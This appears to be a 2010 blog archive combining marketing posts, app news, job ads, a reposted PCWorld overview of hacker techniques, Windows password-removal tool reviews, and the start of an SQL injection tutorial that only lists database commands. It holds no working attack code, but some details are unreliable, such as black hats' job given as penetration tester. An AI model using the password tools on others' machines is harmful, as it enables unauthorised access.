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Meet The New Year, Same As The Old Year.

Written By Unknown on Friday 31 December 2010 | 11:23


In the past year, I've not posted that often. My reasoning was that after four years of blogging, I didn't think I had that much new to write. Marketing isn't rocket-science and genuinely new things don't come along all that often, so I was convinced that everybody must have heard it all before.

Of course, if that were true, the conference business would be in a parlous state indeed but the real point is that too many marketers are seduced by the new rather than the useful.

I'm not saying ignore the new. Far from it. It's your obligation to be aware of it, to understand it and to evaluate it. But, don't obsess about it to the expense of taking your eye of the ball. Some few elements of the new may have a medium to long term impact on your business, but they will do so in the medium to long term and that's not this year.

So, in 2011, dont think about new, think about better. Better may perhaps be something new, but it's more likely to be doing the old things much better.

Skype updated to 3.0 for iPhone and adds video calling

Written By Unknown on Thursday 30 December 2010 | 06:43

skype.jpg

In a move that's sure to make users stand up and say "Hallelujah," the latest update to the Skype app for iPhone finally adds video calling.

The newest version of the app will allow users to make video Skype to Skype calls from their iPhone via Wi-Fi and 3G, and also call Skype desktop users on both OS X and Windows (and we presume their sorely neglected Linux users), as well as those using Skype on their iPhones and iPads.

Naturally, if you're on an iPad, you won't get to send video back -- and you have to deal with the iPhone interface since there isn't a native Skype app for the iPad. But, iPad 2 could change that. If the new hardware is released with a camera, Skype will be ready for it, and hopefully with an iPad-optimized app as well.

So, have fun with video chatting via Skype and let us know what you think of it in the comments!

Source: Itunes

The Art Of Marketing.

"Paint what you see, not what you know."

Strategic Mismarketing.

Written By Unknown on Friday 17 December 2010 | 07:19

Yahoo are pilloried for closing down a number of their acquisitions after failing to develop them. Nokia have been called the place where great ideas go to die for similar reason and Google, News International and many others have received similar appraisals.

Outside the digital world, we know that the vast majority of product launches fail and I've often repeated the dirty secret of investment banking that most mergers denude shareholder value.

It's all symptomatic of a failure to understand markets; the consequent pursuit of quantity of customers over quality of customers; and the failure to recall that realisation that having high quality (i.e. long-term) customers is dependent on exhibiting requires high quality customer-centric behaviour at all times.

Flash Helmuts.

Written By Unknown on Wednesday 15 December 2010 | 03:48



BMW's cinema ad above is getting a lot of online attention, but to me it's all flash and no substance. The portentous nonsense at the start of the clip is the worst type of quasi justification that says everything about creative cleverness and nothing about creative relevance. It's an attention-grabbing gimmick that draws attention to the gimmick.

Until you can link the clever idea to a genuine marketing goal, the clever idea should stay in the drawer.

Pursue Greatness.

Written By Unknown on Monday 13 December 2010 | 02:35

A new documentary focuses on Bruce Springsteen's recording of Darkness on The Edge of town back in 1977. In an aside he recalled his musical ambitions back then.

I didn't want to be rich.
I didn't want to be famous.
I just wanted to be great.


Not a bad marketing philosophy when you think about it.

The tricks hackers use, and what you can do to foil them.

Written By Unknown on Friday 10 December 2010 | 05:14

I was going through an article at pc world and came across this. Please tech geeks looking for how hackers hack, here you are. I bring this piece of writing by Kim & Zetter to enlighten your mindset. 
The tricks hackers use, and what you can do to foil them.

Kim Zetter and Andrew Brandt, PCWorld.com

With the click of a mouse on one computer, the screen of the laptop a few feet away flashes wildly as a flood of data flies silently across a private network cable connecting the two machines. Within a minute the laptop's file sharing password is compromised.

"The computer is having a bad day," says a reporter as he watches the effect of the attack on his machine. "Packets are coming at it so fast, the firewall doesn't know what to do."

Some hackers claim they can teach a monkey how to hack in a couple of hours. We asked two hackers, Syke and Optyx (at their request, we are using their hacking pseudonyms rather than their real names), to give us non-simian reporters a demonstration.

What we got was a sometimes-frightening view of how easily nearly anyone's computer--at home or at work, protected or not--can be cracked by a determined hacker. But we also found out that computer users can make a hacker's job much harder by avoiding a few common mistakes.

Syke, a 23-year-old white-hat hacker, and Optyx, a 19-year-old self-proclaimed black hat, both work in computer security (Syke, until recently, for a well-known security software vendor; Optyx for an application service provider).

They launch their attack on our notebook from desktop computers located in the windowless basement that is New Hack City, a sort of hacker research-and-development lab (and part-time party lounge).

The lab's rooms are filled with over a dozen Sun SPARC servers, assorted network hubs and mountains of ethernet cable, an arcade-size Ms. Pac Man game, and a DJ tower stocked with music-mixing equipment for all-night hacker jams.

Hacking 101

"You should understand," says Optyx, as he enters a few commands that bring our machine to its knees, "no matter what people do, hackers will always find a way to get into systems."

Just as he says this, Optyx uses a program to get the laptop to spew out a bit of data identifying its operating system and version.

He then runs the program that cracked the file sharing password in the blink of an eye. We watch as he uses another tool to root through files in the laptop's shared directory.

As hacking goes, the methods our two instructors use on our laptop are not very elegant--the equivalent of using brute force to knock in a door--and through the machine's software firewall, we are immediately aware that the machine is being hacked. But, save from disconnecting our machine from the network cable, we're powerless to stop it.

Most hacking attacks, however, are much more invisible.
 
Open Sesame

The methods hackers use to attack your machine or network are fairly simple. A hacker scans for vulnerable systems by using a demon dialer (which will redial a number repeatedly until a connection is made) or a wardialer (an application that uses a modem to dial thousands of random phone numbers to find another modem connected to a computer).

Another approach used to target computers with persistent connections, such as DSL or cable connections, employs a scanner program that sequentially "pings" IP addresses of networked systems to see if the system is up and running.

Where can a hacker find such tools? On the Internet, of course.

Sites containing dozens of free, relatively easy-to-use hacking tools available for download are easy to find on the Net. While understanding how these tools work is not always easy, many files include homegrown documentation written in hacker shoptalk.

Among the programs available are scanning utilities that reveal the vulnerabilities on a computer or network and sniffing programs that let hackers spy on data passing between machines.

Hackers also use the Net to share lists of vulnerable IP addresses--the unique location of Internet-connected computers with unpatched security holes. Addresses of computers that have already been loaded with a Trojan horse are available for anyone to exploit (in many cases without the owner of the computer knowing).

Once the hacker finds a machine, he uses a hacker tool such as Whisker to identify in less than a second what operating system the machine is using and whether any unpatched holes exist in it. Whisker, one of a handful of legitimate tools used by system administrators to test the security of their systems, also provides a list of exploits the hacker can use to take advantage of these holes.

Security Software Alone Can't Stop Them

Syke and Optyx explain that several conditions make it easier for them to hack into a system. Lax security is one of them--such as when a company uses no passwords on its system or fails to change Windows' default passwords.

In October 2000 hackers broke into Microsoft's system and viewed source code for the latest versions of Windows and Office after discovering a default password that an employee never bothered to change.

Other common mistakes: When system administrators don't update software with security patches, they leave vulnerable ports open to attack. Or when they install expensive intrusion detection systems, some fail to monitor the alarms that warn them when an intruder is breaking in.

Still another boon to hackers is a firewall or router that is misconfigured, allowing hackers to "sniff" pieces of data--passwords, e-mail, or files--that pass through the network.
 
Got Root?

Once a hacker cracks into a system, his next goal is to get root, or give himself the highest level of access on the machine. The hacker can use little-known commands to get root, or can search the documents in the system's hard drive for a file or e-mail message that contains the system administrator's password.

Armed with root access, he can create legitimate-looking user accounts and log in whenever he wants without attracting attention. He can also alter or delete system logs to erase any evidence (such as command lines) that he gained access to the system.

But a hacker doesn't need root access to affect a system. He can misroute traffic intended to go to one company's Web server to a different one. Or, exploiting a well-documented bug (for which there's a patch that many sites haven't applied), a hacker can replace any Web page with his own text using a simple set of UNIX commands typed into the browser's Address bar.

Denying Service

A more serious threat, however, comes from skilled hackers who launch a denial-of-service attack, in which a Web server is flooded with so many requests that it stops responding altogether.

Previously one of the most common attacks, DoS attacks are now much harder to accomplish. Large Internet companies counter them by buying larger Internet pipes, which are harder to fill with the junk data hackers throw at them. The more bandwidth a company has, the more service the hacker needs to interrupt in order to produce a noticeable effect.

Hackers quickly learned that a single computer couldn't send enough phony requests to deny service, so they came up with a clever approach that employs dozens of hacked computers, working in synch to execute a distributed denial-of-service attack.

A DDoS attack uses as many computers as the hacker can control (called "zombies") to send bogus data requests to a targeted server. To unleash the attack, the hacker sends just one command, which propagates to all of the zombies and causes a near-instantaneous death-by-data on the Web server.

A hacker can also use an army of compromised computers to steal data--such as credit card numbers and proprietary corporate files--without leaving a clear trail. The hacker hops from machine to machine and then launches an attack that passes through all of them, creating a maze of connections for authorities to sift through.

University systems are prime targets for such activity, since administrators often leave student accounts active after students have graduated. A hacker can take over the account and use it as a base to attack another system.

In December 2000 hackers broke into a U.S. Air Force system in Virginia and downloaded code for controlling communication and spy satellites to a computer in Sweden. The Swedish company that owned the system housing the data had no idea hackers were using its computer, and cooperated with authorities.

From Sweden the activity was traced to a university machine in Germany, which authorities also believe was being used by a distant hacker.
 
Online Espionage

Hackers can silently collect information from a machine for months without being detected. Using a Trojan horse, a hacker can log keystrokes on a computer (to obtain a user's passwords) or use a "sniffing" program to collect sensitive data as it passes from one computer to another.

Sniffer software is a bit like a radio in that it simply listens for traffic to pass by it on the network wire. Sniffers are undetectable by the user and (usually) by the system administrator.
 
Nowhere to Hide

It might seem that, with all the ways hackers can get into your system, there's no safe place for your data to hide. Optyx would agree--to a point.

Casually typing commands on his keyboard that sends our laptop into further frenzy, Optyx says that simply running antivirus software alone, or having a firewall or intrusion detection system, won't prevent the theft of data or hacking of your computer.

"If people hack your machine," continues Optyx, "they hack it through a vulnerability."

He recommends that, in addition to using the above tools, every user install the latest security patches on their critical software, including the operating system and the applications they regularly use. "The only way to protect yourself is to patch up the holes," he says.

Kim Zetter and Andrew Brandt are PC World senior associate editors who cover security and privacy issues.

Shell Command Library - Linux Unix

Definition of Shell Command. (Shell Command Glossary

  • Built-in shell commands are part of a shell.
  • Each shell (e.g., C Shell, Bourne Shell and Korn Shell) has a set of commands built into its program.
  • Shell commands vary from one shell to another, but the commands within each shell stay the same across Linux / Unix distributions and variants.
  • To find out the usage of a shell command in the currently active shell on your computer, you can use the man command.
Also Known As: Built-in Shell Command

Important Note: Shell commands may vary in syntax and usage from one type of shell to another. The shell command library here is provided as general references. Use the man command to see how a command is used in a particular shell.

C Shell Commands and What They Do

The C shell provides the following built-in commands:

# Marks a command.
alias Displays alias.
bg Resumes job in the background.
break Resumes execution after the loop.
breaksw Breaks from a switch command; resumes after the endsw command.
case Defines a label in a switch command.
cd Changes directory.
chdir Changes directory, same as cd.
continue Continues a loop.
default Specifies the default case in a switch.
dirs Displays the directory stack.
echo Writes arguments to the standard output of the shell.
eval Evaluates a command.
exec Executes the command in the current shell.
exit Exits the shell.
fg Brings a job in the foreground.
foreach Specifies a looping control statement and execute a sequence of commands until reaching an end command.
glob Writes arguments to the standard output of the shell, like the echo command, but without the new line.
goto Continues execution after the specified label.
hashstat Displays hash table statistics.
history Displays the history list.
if Executes a command if condition met.
jobs Lists active jobs.
 kill Sends a signal to a process. term (terminate) is the default signal.
limit Sets or list system resource limits.
login Logs on.
logout Logs out.
nice Changes the priority of commands run in the shell.
nohup Ignores the hangup signal.
notify Notifies the user about changes in job status.
onintr Tells the shell what to do on interrupt.
popd Pops the top directory off the directory stack and changes to the new top directory.
pushd Exchanges the top two elements of the directory stack.
rehash Re-computes the hash table of the contents of the directories in the path shell variable.
repeat Repeats the execution of a command.
set Displays or set the value of a shell variable.
setenv Sets environment variables.
shift Shifts shell arguments.
source Reads commands from a script.
stop Stops a background job.
suspend Stops the current shell.
switch Starts a switch.
time Displays the time used to execute commands.
umask Shows or set file permissions.
unalias Removes command alias.
unhash Disables the internal hash table.
unlimit Removes limitations on system Resource.
unset Deletes shell variables.
unsetenv Deletes environment variables.
wait Waits for background jobs to complete.
while …end Executes the commands between the while and matching end statements repeatedly.
@ Displays or set the values of all the shell variables.

A Pro Definition of 'Hacker'? Is that the same as a 'hax0r'?


Question: What is a 'Hacker'? Is that the same as a 'hax0r'?

You've heard of "hackers", and you've seen sensationalized versions of hackers in movies. But what exactly is a hacker? And are they the same as "haxors"?

Answer: A hacker is a computer user who, for either negative or positive motivations, will manipulate and break into computer systems. You will see the "hacker" term spelled creatively in different ways, such as "haxor", "Hax0r", and "H4X0R", all of which mean the same thing.

Originally, a hacker of the 1980's was strictly evil and dishonest: a criminal who would illegally and unethically take control of computers and networks. And indeed, that criminal definition still applies today in the 21st century. However, the term hacker has also broadened to include non-criminal computer users. Today, "hacker" encompasses "black hat", "white hat", and "grey hat" computer users:

There are 3 modern types of hackers:

   1. Black Hats: Criminal Hackers. Common job: Penetration Tester.
   2. White Hats: Ethical Hackers. Common job: Network Security Specialist.
   3. Grey Hats: Deals in both of the above (jack of all trades, master of none).

1) Classic "Black Hat" Hackers = Criminals/Lawbreakers

 
This is the classic definition of a hacker: a computer user who willfully seeks to vandalize or commit theft on other people's networks. This classic hacker is also known as a "black hat hacker" because of his malicious motivations. Black hats are gifted but unethical computer users who are motivated by feelings of power and petty revenge. They are electronic thugs, in every sense of the word, and share the same personality traits as punk teens who smash bus stop windows for personal satisfaction.

Black hat hackers are renowned for the following common cybercrimes:
 
  • DOS/DDOS attacks that overload Internet servers.Defacing websites by hijacking control and replacing the main page photos with rude slogans. (see example here)
  • Performing identity theft by stealing private information of individuals.
  • Botnetting: taking remote control of dozens of personal computers, and programming them to "zombie" as spam broadcasters.
2) White Hat "Ethical Hackers" = Network Security Specialists
 
Different from the classic black hat hackers, white hat hackers have honorable, or at least benign, motivations. A white hat "ethical hacker" is a talented computer security user employed to help protect computer networks. These white hats are not unlike former convicts who take on work as store security guards. While they themselves may not be completely ethical, their vocation is considered white hat. Ethical hackers are usually motivated by a steady paycheck. It is not surprising to see ethical hackers spending those paychecks on very expensive personal computers in their personal lives, so they can play online games after work. As long as they have a good-paying job to support their personal habits, an ethical hacker is usually not motivated to destroy nor steal from their employer.

Related: White Hat "Academic Hackers" = Creative Computer Artists
 
Another kind of white hat is the "academic hacker": a computer artisan who is not interested in protecting systems, but rather in creating clever programs and beautiful interfaces. If you are an academic hacker, for example, you will take existing programmatic code, and improve upon it through clever alterations and additions. "Academic hacking" is about obsessively innovating computer code so that it becomes more beautiful or more efficient as a program. Academic hackers, in general, are harmless and do not seek to hurt other people's networks. Academic white hats are often graduate students in computer programming.

3) Grey Hat Hackers = Uncertain which side of the law to stand for.
 
Grey hats are often "hobby hackers": users with basic or intermediate tech skills who like to disassemble and modify their own computers for hobby pleasure, and who also dabble in minor white collar crimes, like file-sharing movies or cracking software. Yes, millions of p2p downloaders are hobby hackers. And indeed, if you have ever modified your router and firewall to allow faster p2p downloads, you could describe yourself as a "grey hat" hobby hacker. Gratefully, only a small percentage of hobby hackers ever escalate into becoming serious black hat hackers.

Question: are you a white hat or grey hat hobby hacker?

Answer: if you obsessively tinker with your computer hardware and software, the answer is yes, you are a white hat hobby hacker. If you obsessively tinker and you like to dabble in breaking software locks and music copyright, then you are a grey hat hobby hacker. In 2010, this connotation is not a negative thing.

Top 3 Premium Windows Password Recovery Tools

Realizing that you've forgotten your Windows password is guaranteed to strike panic in anyone. Luckily, there are several programs and services that can help "hack" into your own Windows PC!

Important: Please read my Windows Password Recovery Programs FAQ before you pay for any Windows password cracking program.

Below are the top 3 premium Windows password recovery tools available today.

1. Active Password Changer Professional
Active Password Changer Professional 
Active Password Changer Professional is the best premium password recovery program I've tested. It's very easy to setup and use, making it an appropriate password hacking tool for even the most novice of computer users.

Like other programs listed here, Active Password Changer Professional deletes passwords - it does not recover them. The end result is the same though - you get access to your computer again!

In a test on a Windows XP PC, Active Password Changer Professional deleted the 10-character password to my user account instantly. Active Password Changer Professional supports Windows 7, Windows Vista, Windows Server 2008 & 2003, and Windows XP.

Active Password Changer Professional is currently priced at $49.95 USD.

2. Windows Password Reset

Like many of these password programs, Windows Password Reset does not actually recover the password but instead removes it.

Windows Password Reset does not have a fancy user interface but the program was very easy to burn to a CD using the included image burning software and was even easier to use.

I tested Windows Password Reset v6.0 using their demonstration version which verified compatibility with my computer but did not actually reset the password. I'm working on a review with the full version of the program.

Windows Password Reset supports Windows Vista, Windows Server 2008 & 2003, Windows XP, Windows 2000, and Windows NT.

Windows Password Reset is currently priced at $19.95 USD.


3. Login Recovery
Summary coming soon...

The software used by Login Recovery supports Windows 7, Windows Vista, Windows Server 2008 & 2003, Windows XP, Windows 2000, and Windows NT.

The Login Recovery service is currently priced at $34.50 USD per use. Purchase the Login Recovery Service


Windows Password Recovery Tools Aren't Necessary if You're Proactive!

These Windows password recovery tools really come in handy when you need them but there's a much easier way to access your account if you forget your password - create a password reset disk!



Please if you feel I've omitted a list that is important pls do use the comment to below to add it.

Thing You Must Know About Windows Password Recovery Programs

Forgetting the password to your Windows account is a common issue and "hacking" into your own PC isn't something many people often do so it's no wonder I get so many inquiries about the process.

I put together this FAQ to help answer some of the more common questions I receive about Windows password tools.

"Are the premium Windows password recovery tools better than the free ones?"

No, not necessarily. I call the premium programs "premium" simply to call out the fact that they charge some kind of fee, not that they're necessarily better than any of the free choices.

In fact, I absolutely do not recommend that you purchase any premium Windows password recovery tool unless you've tried and been unsuccessful with the three highest rated free programs - Ophcrack, Offline NT Password & Registry Editor, and PC Login Now.

"Are these Windows password recovery programs the only way to get back into Windows if I forgot my password?"

No, there are other ways, but these programs are probably the most successful at getting you back in.

"Will the [abc] Windows password recovery tool recovery any password?"

It depends.

A true Windows password recovery tool, like the free and very popular Ophcrack password recovery program, is only successful up to a point. Very complicated and very long Windows passwords are nearly impossible to "crack" and would take a modern computer a very long time to discover.

Some Windows password recovery tools don't actually recover passwords - they remove them, allowing unrestricted access to the computer until a new password is created. These types of programs, like the free Offline NT Password & Registry Editor and PC Login Now, don't care how complicated or how long a Windows password is since there's no discovery process involved.

"These Windows password recovery tools are just hacker programs. You shouldn't be condoning hacking."

I disagree and I am not.

Each of the Windows password recovery tools I've highlighted or reviewed serve the very practical and ethical purpose of getting a forgetful person out of a serious problem.

With nearly all technology, from a sharpened stone to nuclear power, there are ethical uses and there are unethical uses. In my opinion, the responsibility lies with the user (that's you). That said, I of course do not condone using any of these programs to gain access to a computer that you do not own.

 
"How can I prevent someone from using one of these programs to gain access to my computer?"

The most important thing you can do is to prevent physical access to your PC from those who might want to inappropriately gain access to its contents.

In other words - keep those you don't trust away from your computer. Since none of these programs can be used remotely, a perpetrator must have physical access to your computer.

Keep in mind too that if someone wanted to covertly access your computer, they would have to use a true password discovery program, not a password removing program. Since true password discovery programs have a difficult time recovering long and complicated passwords, make sure yours is just that.

Specifically, to avoid your password being discovered by Ophcrack, make sure your password contains at least one special character or is longer than 14 characters.

"I burned a CD with the [abc] Windows password recovery program on it but nothing happens when I restart! Help me please!"

Many Windows password recovery programs are designed to be run from bootable discs, allowing you to recover or delete a Windows password without needing access to Windows... an obvious advantage. However, many of you don't have experience burning ISO files or booting from a CD or DVD disc.

If you restart your computer with the disc you made in your CD/DVD drive but nothing happens or Windows starts up like it usually does, you likely made one of these mistake somewhere between downloading and booting to the CD.

Here are some thoughts on how you might be able to solve the problem:

    * Download the ISO or other disc image format again.
    * Burn the image file to CD or DVD again. Burning an image file is nothing like burning a normal file.
    * Try a different blank disc. Maybe the one you burned to was incompatible with your optical drive or was scratched.
    * Verify that the boot order in BIOS correctly lists the optical drive first.
    * Make sure the disc you burned is in the drive before restarting your computer.
    * If you have two CD/DVD drives, try booting with the disc in the other one.

If that advice gets you nowhere, just move on to another program. There are a few really good free Windows password recovery tools and many premium programs as well.

"Help! Your [abc] program starts but then it [gives an error / shows something you didn't talk about / does nothing]!"

For some reason, to some people, I've given the false impression that some of the programs I've reviewed were created by me.

If you need technical support with any Windows password recovery tool you've learned about on my site, you'll need to contact the developer or company for help. That contact information should be available on the same website where you downloaded the program.

Skype arrives to Symbian^3, YouTube app gets updated

Written By Unknown on Thursday 9 December 2010 | 18:05

Two key apps got an updated for Symbian^3 - Skype is now available for Nokia N8, C7 and C6-01 and YouTube has been revamped with better support for the bigger screens and you can now log in with your account.

The new Skype app for Symbian^3
It took a while but Skype for Symbian^3 is now available - it lets you talk and chat over either 3G or Wi-Fi with support for Skype-to-Skype and SkypeOut calls. The app also supports the SILK codec, which allows it to adapt to changing network conditions and provides reportedly better audio quality (check out the samples).
The YouTube app got updated to version 2.4.10, which brings visual changes like better use of bigger screens and smoother transitions between the different screens of the app. Apparently, the video resolution has been increased as well, but there's no confirmation of that by Google (yet).

YouTube for Symbian v2.4.10
Grab the apps from www.skype.com/m and m.google.com respectively. You might have to use the phone's native browser so that the sites can properly recognize which phone you're using. Oh, and Symbian^1 users can also update their Skype to enjoy the SILKy voice quality.
Source

Fiddling With Value.

Written By Unknown on Tuesday 7 December 2010 | 09:03


A woman and a friend sit in a coffee shop at a railway station. They're engrossed in their iPhones and serving staff later report that they also kept a close eye on their computers.

So much so that they didn't notice that the other package beneath their table had gone missing. All very 21st century. A busy environment, attention in one tech-related direction, thieves in the other. Nothing to write home about, except that the package contained a bow worth £62,000.

What does that tell us about our concept of value today? The social value of the phone connection and the related value of the computer seem to take precedence over the greater financial value of the package. The social tools were more important than the tools of her trade - for yes she was a violinist.

I don't know if that's a new phenomenon, but it's a timely reminder that value is constantly shifting depending on context and mood.

And yes the violin went missing too. It's apparently worth £1.2 million, but when you get into figures like that, you perhaps lose sight of what was really going on.

SUPERAntiSpyware Professional Review

Written By Unknown on Sunday 5 December 2010 | 08:05

SUPERAntiSpyware is available as a free and professional edition. Both editions are downloadable directly  from the developer website. Lets take a quick look at the differences between SUPERAntiSpyware Professional and SUPERAntiSpyware Free.

Both editions support the detection and removal of all sorts of malicious programs including malware, trojans, worms or keyloggers. Users can add files and folders to a whitelist so that they will not be processed during scans.

SUPERAntiSpyware Professional on top of this offers the following features that are not available, or limited, in the free edition:
  • Ability to repair HiJacked web browsers and system settings, e.g. resetting the home page, enabling the task manager, broken network connections or desktop policies.
  • A feature called First Chance Prevention which analyzes 50 critical points on system start and shut down to eliminate threats before they have a chance to infect the system.
  • Threat realtime blocking by monitoring the Windows PC and processes.
  • Registry protection against web browser hi-jackers and other threats.
  • Auto-scanning on application startup.
  • Automatic update checks and definition updates every 8 hours.
  • Daily definition updates.
  • System diagnostic to locate new threats on the PC.

SUPER AntiSpyware

SUPERAntiSpyware Professional Review

The security software displays a clean interface on startup. Users can press on buttons to perform manual operations. This includes scanning the system for harmful software, configuring scheduled scans, managing the quarantine, editing the program preferences and checking for updates. Update and license information are displayed there as well.

A click on Scan your computer opens the scan menu with options to scan the whole computer system or just a specific drive for malicious programs. SUPERAntiSpyware Professional users can perform a quick scan of the Windows PC, perform a complete scan or custom scan.

The quick scan scans all running programs and processes, critical Registry locations and the most common places on the connected hard drives for harmful software. The complete scan adds the selected drives to the scan list. Custom scan finally can be used to scan specific areas of the operating system (like the Registry or memory) and selected folders.

SUPER AntiSpyware

A system scan takes a while, depending on the speed of the PC and the selections that have been made. The quick scan took a few minutes to complete and results are displayed in detail on the results page. Each possible file and location found are categorized in groups and listed with their local path on the PC. It is possible to unselected items from being cleared, add items or locations to the list of trusted items, report false positives, manage the trusted items list or explain one of the detected items.

Especially the explain detected item can be helpful considering that it is not always clear why a file is being marked as being malicious. This loads a page on the SUPERAntiSpyware page with additional details about the selected item. It still may take more research to find out about a specific item. It is for instance a good idea to upload files to Virustotal for a second opinion.

All selected items will be removed by SUPERAntiSpyware Professional, and it may take a reboot of the system to clean them completely from the system. If it does a reboot is suggested by the security software to complete the process.

Scans can also be scheduled in specific intervals, for instance daily at a specific time or once a week.

SUPER AntiSpyware


All removed items are added to the program’s quarantine from where they can be restored or completely removed.

The control center offers extensive configuration options. Users should especially pay a visit to scanning control which displays scanning related settings. It is for instance possible to include non-executable files in the scan, files that are larger than 4 Megabytes or to terminate memory threats before quarantining them.

SUPER AntiSpyware

Other control center options include the previously mentioned repair options, real-time protection settings and access to scanner logs.

The program is very light on resources while running in the background. It used just a little over 1 Megabyte of system memory. Memory usage can peak at a few hundred Megabytes however during scans, but that is only temporary.

SUPERAntiSpyware Professional Installation

Users can enter the registration code during installation. Privacy conscious users need to pay attention to the installation dialog as system information may be submitted to developer servers to optimize the software. Disabling the option during installation prevents this from happening. The security program is compatible with 32-bit and 64-bit editions of all Windows operating systems from Windows 2000 on.

400Mhz or Faster Processor with at least 256MB RAM

Naija Jobs:::Aptech Nigeria – Trainer/Faculty (Akwa Ibom)

Written By Unknown on Saturday 4 December 2010 | 05:57

APTECH Computer Education, a world renowned ICT training institution has opened satellite training centres at Esit Eket and ONNA Local Government Areas in Akwa Ibom State to train specific persons for a period of 6 months.
Applicants are invited for the position of Trainer /Faculty (6 months Contract)

Minimum Qualification:
A good first degree (B.Sc or HND) in Computer Science or related discipline from a recognized tertiary institution.

Age Limit:
Not above 35 years

Additional Skill:
A+, Microsoft Suite (Word, Excel, PowerPoint, MS Access, MS Outlook), Use of Internet and Computer Maintenance.
  • Applicants must be able to communicate effectively in English
  • Successful applicants must be ready to start work in a few days’ time
  • Serving or intending National Youth Service Corps members should not apply
All applications with detailed CVs should be sent to pikodu@yahoo.com within 7 days of this advert.

NOTE: 

Successful candidates will be posted to live and work at ONNA and Esit Eket Local Government Area, Akwa Ibom State, Nigeria.

Naija Jobs:::NBC Plc: Trainee Technicians (Nigeria)


NBC Plc is a part of the Coca-Cola Hellenic Bottling company (CCHBC). NBC Plc is recruiting for Trainee Technicians

Position:     TRAINEE TECHNICIANS
Location:     Head Office
Education:     You must possess a federal craft certificate, WAEC technical certificate or National Technical certificate from NABTEB with credit passes in the core subjects ; English Mathematics, Physics, Electrical
Career type:     Basic experience in the industry will be an added advantage

Role:     Specialized program designed for young technical college school leavers, who are bright, talented with unique skills required to provide outstanding maintenance services required for our automated bottling operations facilities

Functional area:     Technical operators with the company on successful completion of the training program.

Desired Candidate Profile

You should not be more than 25 years old

Job description
  • Specialized program designed for young technical college school leavers, who are bright, talented with unique skills required to provide outstanding maintenance services required for our  automated bottling operations facilities
  • The training program leads to the award of internal certificate, while trainees are prepared for city and guilds (London) external examination.
  •  Successful candidates will undergo a two year program that covers both theoretical and practical aspects of basic production operations, machine shop operation and fittings, industrial, electrical/electronics maintenance, automation and welding / Fabrication.
  • A cost of living allowance is paid during the duration of the program and trainees may be offered permanent employment as technical operators with the company on successful completion of the training program.

Naija Jobs:::Adexen: Electrical Maintenance Engineer

Adexen is mandated by a leading international Engineering group, which provides integrating solutions & technological services for oil & gas companies. The Group is looking to employ an Electrical Maintenance Engineer.

Electrical Maintenance Engineer

JOB DESCRIPTION

The ideal candidates will be responsible for the preparation of a global maintenance plan/manual and also participate in carrying out those plans, which encompasses: Running Plan, Lubrication Plan, On – Condition Monitoring Plan, Maintenance Task & Associated Schedules, Standard Maintenance Procedures, Specific Maintenance Procedures, Maintenance Documents & Sheets

RESPONSIBILITIES
  • Participate in RCM studies for systems/ equipment identified as vital & critical following approved methods
  • Implementation of planned preventive maintenance
  • Participate in topo – functional breakdown preparation
  • Recover relevant feedback data from company’s subsidiary in relation to previous projects
  • Participate in optimization studies for systems & equipment not treated with the RCM method, using the method approved by the organization
  • Provide support for spare parts associated with maintenance operations
  • Participate in field assignments

QUALIFICATIONS AND EXPERIENCE
  • A B.Sc degree or (HND compulsorily with a Masters degree) in Electrical Engineering
  • Similar experience in the maintenance field on oil & gas production installations
  • Minimum of 5 years work experience in a similar role
  • A basic knowledge of oil & gas treatment, installation & in depth knowledge of equipment used in the treatment and installation
  • Advance Excel skills
  • Good organizational skills
  • Ability to work without supervision
  • Eloquent in the English language and knowledge of the French Language will be an advantage
  • Stable and progressive career – no job hoppers.
  • Must possess demonstrable and measurable success in a similar role
  • Must possess all skills required in this profession

WHAT IS ON OFFER

Attractive package
Please send your English resume in Word format at: ADEXEN-122878@adexen.eu

Or apply directly at:

Click here to apply online

Naija Jobs:::KPMG Nigeria: Head of Facilities (Lagos)

KPMG operates as an international network of member firms offering Audit, Tax and Advisory services. We provide multidisciplinary professional services to both local and international organizations within the Nigerian business community.

We are recruiting for Head of Facilities, who will be responsible for  delivering excellent and value-added services to our clients.

The individual has supervisory & budgetary responsibility; he will be responsible to the Chief Information Officer for administering facilities maintenance in a positive and progressive way to ensure the Facilities budget are spent in the most efficient, effective and economic way.

The roleThe Head of Facilities Management (FM) will:

  • Ensure the delivery of a cost-effective, client-focused Facilities Management service at day-to-day level for all Nigeria offices and at a Strategic level across the entire country.
  • Manage & direct the facilities of all KPMG Nigeria buildings / departments / facilities.

Job duties include:


  • Building maintenance
  • Environmental / safety regulation compliance
  • Grounds maintenance
  • Custodial support
  • Cafeteria support, organization of events
  • Space assignments, etc.

Detailed duties and responsibilities

  • Planning, directing, coordinating & budgeting for all NG offices including hiring personnel;
  • Supervise procurement and maintenance & upgrades of furniture, utilities, computers, security systems & signage for the overall facilites.
  • Establish and administer policies & procedures for events and coordinate activities & events with other departments and clients
  • Ensure facilities will meet needs of multiple individual projects and coordinate with IT staff for technological needs.
  • Supervise facility usage, operations, equipment maintenance, etc.;
  • Prepare & maintain annual budget for building use and facility maintenance;
  • Maintain usage records & invoice clients accordingly.

Skills required

  • Excellent phone manners.
  • Client service and relationship building skills.
  • Excellent communication and interpersonal skills.
  • Ability to function independently and as part of a team
  • Ability to perform effectively under pressure
  • Ability to identify problem areas and implement corrective action
  • Time management skills
  • Problem resolution skills
  • Job ownership skills

Minimum Qualification

  • Minimum of B.Sc. (2.2) or HND (Lower Credit)
  • Minimum of 5 credits in one sitting at O’ levels, including Maths and English
  • At least 8-10 years working experience

How to Apply:

If you fit the above description, send your CV to careers@ng.kpmg.com stating the job title as the subject of the email

Please note that deadline for all applications is 7th of December 2010

MySQL Injection for absolute beginners (PART 4)

Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..

All the commands here are copy pasted from the post at h4cky0u & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
